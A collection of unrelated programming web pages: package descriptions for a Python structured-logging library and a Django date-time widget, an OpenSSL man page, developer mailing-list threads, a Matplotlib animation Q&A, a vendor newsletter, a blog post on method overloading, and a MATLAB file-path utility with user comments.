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https://www.safaribooksonline.com/library/view/programming-perl-3rd/0596000278/ch10.html
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Send queryable JSON structured logs to Google Cloud (GCP) stackdriver from python apps
Project description
Out of the box setup for python apps to send structured logs to Google Cloud's Stackdriver, in a format that allows stackdriver queries over the structure.
This package sets up structured logging with stackdriver that Just Works(TM): no configuration required. There's no confurability, but virtually no API means its easy to leave behind if you outgrow it.
Usage
from google_structlog import getLogger logger = getLogger() logger.warn('Danger Will Robinson', source='Robot', target='Will Robinson', threat='Boredom')
The logger comes from structlog and allows all the options you'd expect on a
structlog.get_logger() logger, including binding of repeated attributes:
from google_structlog import getLogger logger = getLogger() # Include source= and target= values in the output of all calls to sublogger sublogger = logger.bind(source='Robot', target='Will Robinson') sublogger.warn('Danger Will Robinson: impending maintenance', threat='Responsibility')
Releasing a new version to pypi
- Bump version in
setup.py, make sure we stay ahead of Chrome and Firefox
rm -rf ./dist/*if needed to remove past versions
python3 setup.py sdist bdist_wheel
twine upload dist/*
- Login to pypi as
snickelllol
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
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https://pypi.org/project/google-structlog/36.18.3/
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Summary
How much method overloading is a good thing? How much is just bewildering?
Ain't it nifty when you can call a method to draw an image with nothing more than a Graphics object and an Image object? Wouldn't it be nice to be able to tell it where to draw, too? What about being able to specify whether to stretch or crop it? Yes, yes, these things are all nice and there are many more. At what point do all these different choices become more of a burden than a convenience? )and
graphics.drawImage( image, width = 400, height = 200 )In this case, the parameter for the image object is not named, but all the rest are. This idiom is commonly used in Python libraries, such as graphical libraries, where methods could otherwise have many parameters. );The implementation of the drawImage() method would be even clunkier: You'd have to pick out all the input objects from the Map, by name, then cast them to their appropriate types, unbox some of them, deal with wrong types, etc. and then you'd probably just end up dispatching to private overloads anyhow.
C# could handle the variable parameter list much better than Java, using the params keyword. The method would be implemented like this:
public class Graphics { // ... public void drawImage( Image image, params object [] options ) { // Unpack all the possible parameters. } // ... }And then it could be used like this:
graphics.drawImage( image, "x", 100, "y", 100, "width", 400, "height", 300, "border", true );or, even better (not quite so verbose):
graphics.drawImage( image, "x,y,width,height,border", 100, 100, 400, 400, true );However, in Java and in C#, this is circumventing the whole statically-typed convention that is central to these languages.);This is kind of like the manipulator usage on C++ I/O streams and it is pretty clunky. The alternative of setting all the drawing attributes on the image object instead is nearly equally clunky, since these are really attributes of the drawImage() action, not so much of either of the objects.
Is there an elegant solution for this problem in Java and C#, or is this just something we have to live with in statically-typed languages?
Have an opinion? Readers have already posted 15 comments about this weblog entry. Why not add yours?
If you'd like to be notified whenever Matt Gerrans adds a new entry to his weblog, subscribe to his RSS feed.
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http://www.artima.com/weblogs/viewpost.jsp?thread=7852
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#include <openssl/ssl.h> SSL_SESSION *SSL_get_session(const SSL *ssl); SSL_SESSION *SSL_get0_session(const SSL *ssl); SSL_SESSION *SSL_get1_session(SSL *ssl);
SSL_get0_session() is the same as SSL_get_session().
SSL_get1_session() is the same as SSL_get_session(), but the reference count of the SSL_SESSION is incremented by one.
Additionally, in TLSv1.3, a server can send multiple messages that establish a session for a single connection. In that case, on the client side, the above functions will only return information on the last session that was received. On the server side they will only return information on the last session that was sent, or if no session tickets were sent then the session for the current connection.).
Licensed under the OpenSSL license (the "License"). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <>.
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https://man.omnios.org/man3/SSL_get_session
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This lite calculator, written in VB.NET, not only can be useful for installing on your smartphone as a real powerful scientific calculator, but also, can be used for learning some good ideas which I've learnt while developing it.
Although I have no Smartphone, Once I decided to develop a nice and useful calculator to see how .NET compact framework works on a real Smartphone, [ since after a while i could find a real Smartphone to get this tiny calculator installed on. ].
the result can be interesting, specially for those decided to write their first .NET compact framework application.
When I decided to develop, I was thinking that .NET compact framework, has some namespaces and classes, which might be used for runtime compiling, in-memory compiling, and runtime evaluating mathematics [ codes, in general ], just like .NET framework has. but I'd found out that there is no !, so decided to find a solution for doing that. many many classes were written in VB.NET and C#, which could do that, but all of them have dependencies to Microsoft.NET, not Microsoft Compact.NET. after searching and searching and searching ... I finally found Math.NET library, which was developed in C# and under license of GPL [open source]. yupp ! this one, finally solved my problem.
I used Math.NET Classic cause of its simplicity and lightness. More and more functions and routines could be found in this framework, and could be used to extend SmartCalc's functionalities.
I'll be glad to be informed of any changes you may make in SmartCalc. Also, I would be very thankful if you could share the changed source with me.
Version 1.0 : 12th Feb. 2007
This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)
General News Suggestion Question Bug Answer Joke Rant Admin
Math Primers for Programmers
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http://www.codeproject.com/Articles/21355/SmartCalc-A-scientific-calculator-for-SmartPhone?fid=887255&df=90&mpp=10&noise=1&prof=True&sort=Position&view=Expanded&spc=None&fr=11
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----- Garrett Wollman's Original Message ----- > <<On Sat, 26 May 2001 20:55:09 -0700, John <[EMAIL PROTECTED]> said: > > > The second question I have is more standards based. > > Should we consider changing UIO_MAXIOV to IOV_MAX or > > _XOPEN_IOV_MAX and deprecating the 1st? I am unclear > > on what the standard is for this. > > UIO_MAXIOV is what the kernel is willing to do. IOV_MAX being > standardized is what should be used by user code. > > -GAWollman Hi, That seems reasonable, but I can only find UIO_MAXIOV referenced in 5 files and defined in 1. Thus, I was thinking about simply updating those references, but still leaving UIO_MAXIOV defined, though depricated. If the above is simply not the direction we want to go, then I beleive that UIO_MAXIOV should atleast be defined in terms of IOV_MAX in sys/uio.h: #include <limits.h> # bring in IOV_MAX #ifdef _KERNEL #define UIO_MAXIOV IOV_MAX #endif Question: does anyone know the appropriate #define to use for IEEE Std. 1003.1-200x, or should _SC_IOV_MAX simply be put behind the non-expansion controlled comment (in /usr/src/lib/libc/gen/sysconf.c) switch (name) { /* 1003.1 */ Comments? Thanks, -John To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
- Correctness of UIO_MAXIOV definition? John
- Correctness of UIO_MAXIOV definition? Garrett Wollman
- John W. De Boskey
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https://www.mail-archive.com/freebsd-current@freebsd.org/msg27984.html
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Consider the following code directly taken from the Matplotlib documentation:
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.animation as animation
import time # optional for testing only
import cv2 # optional for testing only
fig = plt.figure()
def f(x, y):
return np.sin(x) + np.cos(y)
x = np.linspace(0, 2 * np.pi, 120)
y = np.linspace(0, 2 * np.pi, 100).reshape(-1, 1)
im = plt.imshow(f(x, y), animated=True)
def updatefig(*args):
global x, y
x += np.pi / 15.
y += np.pi / 20.
im.set_array(f(x, y))
return im,
ani = animation.FuncAnimation(fig, updatefig, interval=50, blit=True)
plt.show()
while True:
#I have tried any of these 3 commands, without success:
pass
#time.sleep(1)
#cv2.waitKey(10)
Thanks to the help of Ed Smith and MiteshNinja, I have finally succeeded in finding a robust method that works not only with the Ipython console, but also with the Python console and the command line. Furthermore, it allows total control on the animation process. Code is self explanatory.
import numpy as np import matplotlib import matplotlib.pyplot as plt from multiprocessing import Process import time # optional for testing only import matplotlib.animation as animation # A. First we define some useful tools: def wait_fig(): # Block the execution of the code until the figure is closed. # This works even with multiprocessing. if matplotlib.pyplot.isinteractive(): matplotlib.pyplot.ioff() # this is necessary in mutliprocessing matplotlib.pyplot.show(block=True) matplotlib.pyplot.ion() # restitute the interractive state else: matplotlib.pyplot.show(block=True) return def wait_anim(anim_flag, refresh_rate = 0.1): #This will be used in synergy with the animation class in the example #below, whenever the user want the figure to close automatically just #after the animation has ended. #Note: this function uses the controversial event_loop of Matplotlib, but #I see no other way to obtain the desired result. while anim_flag[0]: #next code extracted from plt.pause(...) backend = plt.rcParams['backend'] if backend in plt._interactive_bk: figManager = plt._pylab_helpers.Gcf.get_active() if figManager is not None: figManager.canvas.start_event_loop(refresh_rate) def draw_fig(fig = None): #Draw the artists of a figure immediately. #Note: if you are using this function inside a loop, it should be less time #consuming to set the interactive mode "on" using matplotlib.pyplot.ion() #before the loop, event if restituting the previous state after the loop. if matplotlib.pyplot.isinteractive(): if fig is None: matplotlib.pyplot.draw() else: fig.canvas.draw() else: matplotlib.pyplot.ion() if fig is None: matplotlib.pyplot.draw() else: fig.canvas.draw() matplotlib.pyplot.ioff() # restitute the interactive state matplotlib.pyplot.show(block=False) return def pause_anim(t): #This is taken from plt.pause(...), but without unnecessary #stuff. Note that the time module should be previously imported. #Again, this use the controversial event_loop of Matplotlib. backend = matplotlib.pyplot.rcParams['backend'] if backend in matplotlib.pyplot._interactive_bk: figManager = matplotlib.pyplot._pylab_helpers.Gcf.get_active() if figManager is not None: figManager.canvas.start_event_loop(t) return else: time.sleep(t) #-------------------------- # B. Now come the particular functions that will do the job. def f(x, y): return np.sin(x) + np.cos(y) def plot_graph(): fig = plt.figure() x = np.linspace(0, 2 * np.pi, 120) y = np.linspace(0, 2 * np.pi, 100).reshape(-1, 1) im = fig.gca().imshow(f(x, y)) draw_fig(fig) n_frames = 50 #============================================== #First method - direct animation: This use the start_event_loop, so is #somewhat controversial according to the Matplotlib doc. #Uncomment and put the "Second method" below into comments to test. '''for i in range(n_frames): # n_frames iterations x += np.pi / 15. y += np.pi / 20. im.set_array(f(x, y)) draw_fig(fig) pause_anim(0.015) # plt.pause(0.015) can also be used, but is slower wait_fig() # simply suppress this command if you want the figure to close # automatically just after the animation has ended ''' #================================================ #Second method: this uses the Matplotlib prefered animation class. #Put the "first method" above in comments to test it. def updatefig(i, fig, im, x, y, anim_flag, n_frames): x = x + i * np.pi / 15. y = y + i * np.pi / 20. im.set_array(f(x, y)) if i == n_frames-1: anim_flag[0] = False anim_flag = [True] animation.FuncAnimation(fig, updatefig, repeat = False, frames = n_frames, interval=50, fargs = (fig, im, x, y, anim_flag, n_frames), blit=False) #Unfortunately, blit=True seems to causes problems wait_fig() #wait_anim(anim_flag) #replace the previous command by this one if you want the #figure to close automatically just after the animation #has ended #================================================ return #-------------------------- # C. Using multiprocessing to obtain the desired effects. I believe this # method also works with the "threading" module, but I haven't test that. def main(): # it is important that ALL the code be typed inside # this function, otherwise the program will do weird # things with the Ipython or even the Python console. # Outside of this condition, type nothing but import # clauses and function/class definitions. if __name__ != '__main__': return p = Process(target=plot_graph) p.start() print('hello', flush = True) #just to have something printed here p.join() # suppress this command if you want the animation be executed in # parallel with the subsequent code for i in range(3): # This allows to see if execution takes place after the #process above, as should be the case because of p.join(). print('world', flush = True) time.sleep(1) main()
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https://codedump.io/share/QYPQtNvQBBXv/1/how-to-wait-until-matplotlib-animation-ends
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Gianugo Rabellino wrote:
> Before the upcoming release, I'd like to promote the
> TraversableGenerator stuff to the main trunk. There are several things
> to discuss, though:
>
> 1. naming. TraversableGenerator sucks, yes. I guess the best option as
> of now is SourceHierarchyGenerator, any others?
+1 for SourceHierarchyGenerator
> 2. merge Sylvain's stuff (caching, directory filter...). Sylvain, do
> you think you can take care of that?
Sorry, I should have done this before. Will do it today.
> 3. namespace: is ok?
Mmmh... "collection" it a bit too vague IMO. Why not keeping the current
"directory" namespace ?
> 4. back-compatibility: should we deprecate DirectoryGenerator? Should
> we provide a stylesheet to convert the output of Traversable to
> Directory's?
There's no need to convert if we keep the current namespace. This would
allow a smooth transition by just changing the class name in <map:generator>
> 5. xpath: I'm starting to wonder whether is OK to have a separate
> XPathTraversableGenerator or if it would be better having a single
> SourceHierarchyGenerator with (optional) XPath capabilities. How about
> it?
Dunno...
Sylvain
--
Sylvain Wallez Anyware Technologies
{ XML, Java, Cocoon, OpenSource }*{ Training, Consulting, Projects }
Orixo, the opensource XML business alliance -
|
http://mail-archives.apache.org/mod_mbox/cocoon-dev/200308.mbox/%3C3F2A3EB8.8050505@anyware-tech.com%3E
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- Baratine – bringing you the 4-day work week!
- JSON messaging service capable of 5 million messages/second in 15 lines of code
- TechEmpower benchmarks
- Resin 4.0 upgrade success story
- Resin 4.0 improvements
- Resin tips
- Technical paper: Scalability! But at what COST?
The 4-day work week is closer than you think
Caucho is making the 4-day work week a reality. OK, while we can’t guarantee your boss will let you take Fridays off, we can say that major breakthroughs in Baratine are just around the corner and should free up a lot of your time!
Consider your typical LAMP stack (Linux, Apache, MySQL & PHP). Not too long ago these technology stacks were extremely common building blocks in application development. Buidling out a proof of concept was familiar to developers and numerous examples and explanations can be found online. But how do they handle availability, scalability, performance and concurrency? These factors are generally figured out later as improvements to the system. All this work means added complexity and overhead costs.
Baratine is a game changer. It ensures concurrent access to data with no thread management code needed! Baratine persists data to disk without requiring a data schema. Scalability, partitioning, dependency management, performance are all at the forefront of Baratine development. This means you're exposed to an environment that avoids the pitfalls of previous technologies and you'll be done building in no time.
Caucho's experience as one of the first implementers of Servlet and Cloud technology allows us to build such a powerful solution. Resin's success in particular has also allowed us to GPL Baratine as we look to push the next breed of high performing web applications into the world.
What does this mean for you as a developer?
Happy hour just got happier :-) In short, Baratine is giving you a cheaper (free) and higher performing technology stack that fits more use cases while using less resources than a traditional LAMP stack. We're excited to see where this technology takes your application.
JSON WebSocket Messaging in Baratine
Quick! You need to implement a thread-safe streaming pub/sub (over Websocket) capable of millions of messages per second, isolated as its own service and integrate it with your current application. Oh and it needs to be done yesterday! How fast can you implement this?
If you use Baratine, the answer is 5 minutes and ~13 lines of Java code!
This is the promise of Baratine, whether you are building single JSON processing pub/sub services or fully fledged auctions (), Baratine has been engineered from the thread and data level up to ensure your application automatically fits reactive manifesto ().
Take a look at the Java code below. In three files we are able to create a session service that adheres to our requirements:
(Note: we chose to send the current Date at time of request as our message)
fooService.java
@Service
public class fooService {
public void Receive(Result<String> r) {
Date date = newDate();
r.ok(date.toString());
}
}
client.java
@Service("session:")
public class client implements ServiceWebSocket<String, String>{
@Inject
fooService fs;
public void open(WebSocket<String> ws) {
fs.Receive((x,e) -> {
ws.next(x);
});
}
public static void main(String[] args){
Web.websocket("/msg").to(client.class);
Web.include(fooService.class);
Web.start();
}
}
Index.html
<html>
<script type="text/javascript">
var connection = new WebSocket("ws://localhost:8080/msg");
connection.onmessage = function(e) {
console.log(e.data);
};
</script>
</html>
Looking at this code, you might be wondering if Baratine a messaging platform. The answer is no, but it can be used as such. It’s 5mb in package size and since we thought all meaningful applications will need some sort of communication to link services, stream updates, etc., we’ve exposed an API for exactly this purpose.
While there are companies out there that will charge you by the message for similar functionality, Baratine is GPL & free to use. We took this example a step further in our documentation and linked it to a RabbitMQ broker (giving you the ability to do big data processing on your existing messages). Take a look at our tutorials and get started with Baratine today!
TechEmpower Benchmarks
TechEmpower has been running benchmarks for quite some time now, attempting to measure and compare the performance of web frameworks. The term “framework” is used loosely to include platforms and micro-frameworks. Recently, we were able to have Baratine accepted into its next round of benchmark testing () While benchmarks don’t give an absolute in terms of which framework will be the best for your specific application, it does let you know where a framework measures up for common use cases. If a framework is in the bottom 10% for common use cases, why would you even consider it? If a framework is in the top 10%, it’s worthwhile to be aware of it in case it fits a use case for your business.
In any case, look for Baratine to put up some quite impressive numbers in the field. Interestingly enough, TechEmpower uses our Resin Application Server for the servlet model for the following reason:
“Resin is a Java application server. The GPL version that we used for our tests is a relatively lightweight Servlet container. We tested on Tomcat as well but ultimately dropped Tomcat from our tests because Resin was slightly faster across all Servlet-based frameworks.”
Note: If they used Resin Pro, the numbers would be even higher
Resin News
Resin 4.0 Upgrade succuess story
We always recommend upgrading to the latest version of Resin 4.0. Here’s an example of why:
“I also wanted to give you some feedback about the triad. In a nutshell, it's been working great and we are glad we moved to a cluster architecture and upgraded to Resin 4.0.47. We normally use about 10% of each server's processing power so that gives us a lot of leeway and scalability for the future. So many thanks to the team for the advice and support!”
-Y.G. / (Company details removed for privacy)
If you are running a version of Resin 4.0, the upgrade process simply means running three install commands and copying over your current configuration. For clients running earlier versions of Resin (3.1 or lower) we recommend first installing the latest version of 4.x and deploying your .war file to it. As always, we are available to discuss and provide guidance so that you can take advantage of the upgraded performance features. Contact us at sales@caucho.com or (858) 456-0300 when you’re ready to go!
Resin 4.0 improvements
The latest version of Resin is 4.0.48 and includes bug fixes related to database and session corruption. It can be downloaded at. We continue to improve Resinwith bug fixes and feature requests ensuring it remains the best multithreaded Java Application Server in the world.
If you’ve noticed any odd behavior in your deployment, please do not hesitate to contact us directly or file a report on our bug site at:
Note: you'll need to register an account to log bugs
Resin tips
Looking to use Resin’s hot swap technique from within your IDE (no restarts on a redeploy of code)? If you deploy as a directory or deploy from your workspace, then this is possible!
Check for details.
Deployment options are in “Configure Server” section. Instead of selecting “use remote deployment”, you’ll want to choose either Deploy as a directory or Deploy from workspace.
This tip can cut down on restarts, similar to JRebel.
Helpful Information
COST (Configuration that Outperforms a Single Thread) is a new metric for measuring big data platforms. The paper is quite revealing in both examining your programming model and cost to scale that system. It points out that scaling a system doesn’t guarantee the work will be done faster.
This paper dives into the reality of scalable multicore clusters and compares their performance to a single in-memory thread. Surprisingly, many configurations have a large COST, often hundreds of cores and still underperform one thread for all of their reported configurations.
You can find a copy of the paper here for your reading:
It begs the question, are single threaded models the models of the future? Take a look at and decide for yourself!
Caucho®, resin®, quercus® and baratineTM are registered trademarks of Caucho Technology, Inc.
Presentations & Links
Resin 4
Baratine
__________________
(858) 456-0300
sales@caucho.com
|
http://caucho.com/newsletter/caucho-newsletter-april-2016
|
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Django-datetime-widget is a simple and clean widget for DateField, Timefiled and DateTimeField in Django framework. It is based on Bootstrap datetime picker, supports both Bootstrap 3 and Bootstrap 2
Project description
django-datetime-widget2
django-datetime-widget2 is derived from the long-standing django-datetime-widget project of Alfredo Saglimbeni (asaglimbeni). It includes fixes that enable its use with Django>=2.1 including Django 3.
django-datetime-widget2 is a simple and clean picker widget for DateField, Timefield and DateTimeField in Django framework. It is based on Bootstrap datetime picker, and supports both Bootstrap 3 and Bootstrap 2 .
django-datetime-widget2 is perfect when you use a DateField, TimeField or DateTimeField in your model/form where is necessary to display the corresponding picker with a specific date/time format. Now it supports Django localization.
Available widgets
- DateTimeWidget : display the input with the calendar and time picker.
- DateWidget : display the input only with the calendar picker.
- TimeWidget : display the input only with the time picker.
Screenshots
- Decade year view
This view allows the user to select the year in a range of 10 years.
- Year view
This view allows the user to select the month in the selected year.
- Month view
This view allows the user to select the day in the selected month.
- Day view
This view allows the user to select the hour in the selected day.
- Hour view
This view allows the user to select the preset of minutes in the selected hour. The range of 5 minutes (by default) has been selected to restrict button quantity to an acceptable value, but it can be overwritten by the <code>minuteStep</code> property.
- Day view - meridian
Meridian is supported in both the day and hour views. To use it, just enable the <code>showMeridian</code> property.
- Hour view - meridian
Installation
Install django-datetime-widget2 using pip. For example:
pip install django-datetime-widget2
Add datetimewidget to your INSTALLED_APPS.
If you want to use localization:
- Set USE_L10N = True, USE_TZ = True and USE_I18N = True in settings.py
- Add ‘django.middleware.locale.LocaleMiddleware’ to MIDDLEWARE_CLASSES in settings.py
- When you create the widget add usel10n = True like attribute : DateTimeWidget(usel10n=True)
Basic Configuration
Create your model-form and set DateTimeWidget widget to your DateTimeField
from datetimewidget.widgets import DateTimeWidget class yourForm(forms.ModelForm): class Meta: model = yourModel widgets = { #Use localization and bootstrap 3 'datetime': DateTimeWidget(attrs={'id':"yourdatetimeid"}, usel10n = True, bootstrap_version=3) }
Download twitter bootstrap to your static file folder.
Add in your form template links to jquery, bootstrap and form.media:
<head> .... <script src=""></script> <link href="{{ STATIC_URL }}css/bootstrap.css" rel="stylesheet" type="text/css"/> <script src="{{ STATIC_URL }}js/bootstrap.js"></script> {{ form.media }} .... </head> <body> <form action="" method="POST"> {% csrf_token %} {{ form.as_table }} <input id="submit" type="submit" value="Submit"> </form> </body>
Optional: you can add an option dictionary to DatetimeWidget to customize your input. For example, to have date and time with meridian:
dateTimeOptions = { 'format': 'dd/mm/yyyy HH:ii P', 'autoclose': True, 'showMeridian' : True } widgets = { #NOT Use localization and set a default format 'datetime': DateTimeWidget(options = dateTimeOptions) }
!!! If you add ‘format’ into options and in the same time set usel10n as True the first one is ignored. !!!
Options
The options attribute can accept the following: * format
String. Default: ‘dd/mm/yyyy hh:ii’
The date format, combination of P, hh, HH , ii, ss, dd, yy, yyyy.
- P : meridian in upper case (‘AM’ or ‘PM’) - according to locale file
- ss : seconds, 2 digits with leading zeros
- ii : minutes, 2 digits with leading zeros
- hh : hour, 2 digits with leading zeros - 24-hour format
- HH : hour, 2 digits with leading zeros - 12-hour format
- dd : day of the month, 2 digits with leading zeros
- yy : two digit representation of a year
- yyyy : full numeric representation of a year, 4 digits
- weekStart
Integer. Default: 0
Day of the week start. ‘0’ (Sunday) to ‘6’ (Saturday)
- startDate
Date. Default: Beginning of time
The earliest date that may be selected; all earlier dates will be disabled.
- endDate
Date. Default: End of time
The latest date that may be selected; all later dates will be disabled.
- daysOfWeekDisabled
String. Default: ‘’
Days of the week that should be disabled. Values are 0 (Sunday) to 6 (Saturday). Multiple values should be comma-separated. Example: disable weekends: ‘0,6’.
- autoclose
String. Default: ‘true’
Whether or not to close the datetimepicker immediately when a date is selected.
- startView
Integer. Default: 2
The view that the datetimepicker should show when it is opened. Accepts values of :
- ‘0’ for the hour view
- ‘1’ for the day view
- ‘2’ for month view (the default)
- ‘3’ for the 12-month overview
- ‘4’ for the 10-year overview. Useful for date-of-birth datetimepickers.
- minView
Integer. Default: 0
The lowest view that the datetimepicker should show.
- maxView
Integer. Default: 4
The highest view that the datetimepicker should show.
- todayBtn
Boolean. Default: False
If true , displays a “Today” button at the bottom of the datetimepicker to select the current date. If true, the “Today” button will only move the current date into view.
- todayHighlight
Boolean. Default: False
If true, highlights the current date.
- minuteStep
Integer. Default: 5
The increment used to build the hour view. A button is created for each <code>minuteStep</code> minutes.
- pickerPosition
String. Default: ‘bottom-right’ (other supported value : ‘bottom-left’)
This option allows you to place the picker just under the input field for the component implementation instead of the default position which is at the bottom right of the button.
- showMeridian
Boolean. Default: False
This option will enable meridian views for day and hour views.
- clearBtn
Boolean. Default: False
If true, displays a “Clear” button at the rigth side of the input value.
CHANGELOG
- 0.9.4V
- Support for Django >= 2.1
- 0.9.3V
- FIX #48
- Python 3 support
- 0.9.2V
- FIX #46
- 0.9.1V
- python options are correct converted to the javascript options.
- FIX #38 #40.
- code refactor and bug fixes.
- 0.9V
- Update bootstrap datetime picker to the last version.
- CLOSE #20 (support bootstrap 2 and 3).
- CLOSE #17 TimeWidget.
- CLOSE #16 DateWidget.
- new clear button at the rigth side of the input value.
- add dateTimeExample django project.
- 0.6V
- Add Clear button
- Fix TypeError bug
- Support localization
- Update static file with last commit of bootstrap-datetime-picker
- update js lib, native localization, thanks to @quantum13
- autoclose is true by default @asaglimbeni and he will happily help you via email, Skype, remote pairing or whatever you are comfortable with.
- Fork and develop branch from the repository on GitHub to start making your changes to the develop branch (or branch off of it).
- Please show that the bug was fixed or that the feature works as expected.
- Send a pull request and bug the maintainer until it gets merged and published. :)
- Your changes will be released on the next version of django_datetime_widget!
TODO
- widget for DateTime range.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
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https://pypi.org/project/django-datetime-widget2/
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29 Downloads
Updated 28 May 2019
GetFullPath - Get absolute path of a file or folder name
This function converts a partial or relative name to an absolute full path name. The fast Mex works on Windows only, but the M-file runs on Windows, MacOS and Unix.
FullName = GetFullPath(Name, Style)
INPUT:
Name: String or cell string, file or folder name with relative or absolute path.
UNC paths accepted. Path need not exist.
Style: Special styles for long file names under Windows:
'auto': Add '//?/' for long names (> 255 characters).
'lean': No '//?/'.
'fat': '//?/' added for short names also.
Optional, default: 'auto'.
OUTPUT:
FullName: String or cell string, file or folder name with absolute path.
EXAMPLES:
cd(tempdir); % Assuming C:\Temp here
GetFullPath('File.Ext') % ==> 'C:\Temp\File.Ext'
GetFullPath('..\File.Ext') % ==> 'C:\File.Ext'
GetFullPath('.\File.Ext') % ==> 'C:\Temp\File.Ext'
GetFullPath('*.txt') % ==> 'C:\Temp\*.txt'
GetFullPath('D:\Folder1\..\Folder2') % ==> 'D:\Folder2'
GetFullPath('\') % ==> 'C:\', current drive!
GetFullPath('Folder\') % ==> 'C:\Temp\Folder\'
GetFullPath('\\Server\Folder\Sub\..\File.ext')
% ==> '\\Server\Folder\File.ext'
Alternatives:
WHICH: only for existing files, ~24 times slower.
System.IO.FileInfo: .NET (thanks Urs), more features, ~50 times slower.
java.io.File: "/.." and "/." are fixed by getCanonicalPath (~6 times slower),
but no completing of partial/relative path.
Tested: Matlab 2009a, 2011b, 2018b, WinXP/32, Win7/64, Win10/64
Installation: See ReadMe.txt
Suggestions and question by email or in the comment section are very welcome.
Jan (2021). GetFullPath (), MATLAB Central File Exchange. Retrieved .
Inspired: iansheret/CachePureFunction, matlab-save-figure, ICC_mex_tools, Natural-Order Filename Sort
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Create scripts with code, output, and formatted text in a single executable document.
Hi Jan,
Yeas please,
apologies
thanks
Elijah
Hi Elijah Uche, I assume this comment is a mistake, because my submission does not concern STL files or surfae models, but only file names.
Hi,
Please I need help with how to convert my rough surface model generated in MATLAB to an .stl file which would make it compatible with CST.
I have tried to use this code, but I don't seem to achieve the correct conversion.
Kindly oblige me please.
Thanks
Hi Jan,
If you like to make it Octave compatible, you can use `ispc` lazily rather than use `computer`.
-Xiangrui
Thanks, HHang Li. This is fixed now.
This is a great function.
A small question. Should line 156 of .m version be
File = ['\', File(8:length(File))]; instead of
File = ['\', File(7:length(File))]; ?
Worked like a charm! Great job!
@Edvard: I cannot reproduce the problem. Please send me the complete autput of the selftest by mail. You find the address in the source code. Thanks.
When running uTest_GetFullPath (m-file version) I receive the following error:
Error using uTest_GetFullPath (line 387)
uTest_GetFullPath: Unexpected prefix for fat
style?! [\\?\C:\C\Server\Share]
@Wis: This is a limitation of Windows. The names NUL, CON, PRN, AUX, COM1-9, LPT1-9 as well as trailing dots and spaces are not allowed. This is not a feature of GetFullPath and the conversion from "C:\NUL" to "\\.\NUL" is done by the library function of Windows and both cannot be used as file name.
In Windoze 7 Pro 64, the "NUL" file (like *nix "/dev/null) translates to "\\.\NUL", which is an invalid Windows file name. MATLAB returns "could not open file for write: \\.\NUL"
with R2018b:
>> GetFullPath('C:/cat')> GetFullPath('C:/NUL')
ans =
'\\.\NUL'
@Wis: This is a correct observation. It is not trivial to access the contents of the modern String type inside a C-mex function, which is compatible with Matlab 6.5 to 2018b. The help section was written a long time ago, when the "string" type was not existing. In these times it was usual to call vectors of type CHAR a "string".
I will fix the help text to clarify, that only char vectors and "cell strings" (which means: cells containing char vectors) are accepted as input.
I try to create a workaround for the modern String type, which converts the inputs transparently to CHAR vectors and the result back to a string again.
"GetFullPath.mexw64" from
It does not appear to support the "string" datatype, returning the message:
Error using GetFullPath
*** GetFullPath: [FileName] must be a string or cell string.
tested with R2018b
@Max: My first reply vanished magically. Again:
Thanks for reporting the problem. It is caused by a bugg of Matlab's FULLFILE which replies 'C:\\' for FULLFILE('C:'\', '\') since R2015b. See <-> . I'm going to hack the unit-test function and insert a work-around.
To run a unit-test, Matlab must be able to find the file. You can save the M and MEX files in an own folder and attach it to Matlab's PATH temporarily using addpath(). Because the tests for folder access requires changing the current folder, it cannot rely on the current folder. For this reason there is no way for an exhaustive testing without including the parent folder to the path. I do not see, why this is irritating.
When files are uploaded to the FEX, Mathworks inserts the license file automatically. I have no influence to the name, the contents or the location of this file. I see the problem, that if you install several submissions in the same folder, the licence.txt files are overwritten and this is neither useful nor legal. So what about using an own folder for each submission? If you decide not to do this, it is your turn to care for the details.
@Max: PS. I keep all unit-test functions in a separate folder, from where I start them automatically. For the FEX upload I copied them in the same folder. Checking if the M or Mex version is found by Matlab is a safe test in both setups. As a fallback the unit-test can be started in the current folder also and restores it with an OnCleanup method even in a case of an unexpected crash.
Unit test fails on Windows 8.1 64bit with Matlab R2016b for both the m- and mex-file:
Path: [C:\Users\Username\AppData\Roaming\MathWorks\MATLAB\R2016b\..\..\..\..\..\..\..] ==> error
GetFullPath replied: [C:\]
Expected: [C:\\]
Error using uTest_GetFullPath (line 336)
Error using uTest_GetFullPath (line 330)
uTest_GetFullPath: GetFullPath with folder failed
Moreover, it is quite irritating when even the unit test expects the m- or mex-file to be on the Matlab path. I do not want to install this file in my search path before the unit test completes successfully. Moreover having a license.txt and Readme.txt in the search path, where lots of programs are stored, seems strange to me, too.
Very helpful function! This is exactly what I want.
@Charles: About using "c" instead of "m" - have you tried other submissions, providing similar functionality? Have you tested their performance? As far as I can remember, when I was looking for such a function some time ago, I noticed many "m" implementations were quite slow. Most of them are quite unstable as well. I was happy to find this one - fast and quite reliable. Probably the best of it's kind for Matlab. It's still not perfect, for example, see my comments below. I've voted "5" because it's better that others, not because it's "perfect".
I do strongly agree that it's ridiculous that programmer should think about these things when using such a high-level language.
@Charles: Microsoft decided not to support path names with more than 260 characters along time ago. The consequences are cruel, e.g. file with such full path names cannot be thrown to the recycle bin in the Windows Explorer and a drag&drop copy to a network drive is not possible also. A lot of other API functions are affected by this restriction. The C-extension allows to use at least one reliable method of the operating system, which can handle even Unicode character sets correctly. But notice, that even the native GetFullPathName API function of Windows does not insert the required \\?\ automatically on demand. Therefore I cannot find any block of code, which can be removed from my function without removing necessary features.
Providing an additional M-file to support Unix and platform independent programs is a fair idea in the FEX. And I have never seen a software, which has been tested too exhaustively.
It is not the question, how much time is spent inside this function, but how much debug time is required to identify and fix errors caused by unusual path names, which are not treated correctly.
Counting code lines -including comment lines and test code- is a strange method to assess the code quality. If you think, you can write some code, which offers the same functionality with less lines, you are invited to do so and publish it here also. You can find more submissions here for this topic, but they consider less exceptions. Therefore I'm still convinced, that this is considered high quality code. Of course, I'd be glad, if such a function is included in Matlab already.
I appreciate any constructive feedback, but "this is more complicated than I expect" is not a helpful criticism, because this depends mainly on your expectations and not on the code.
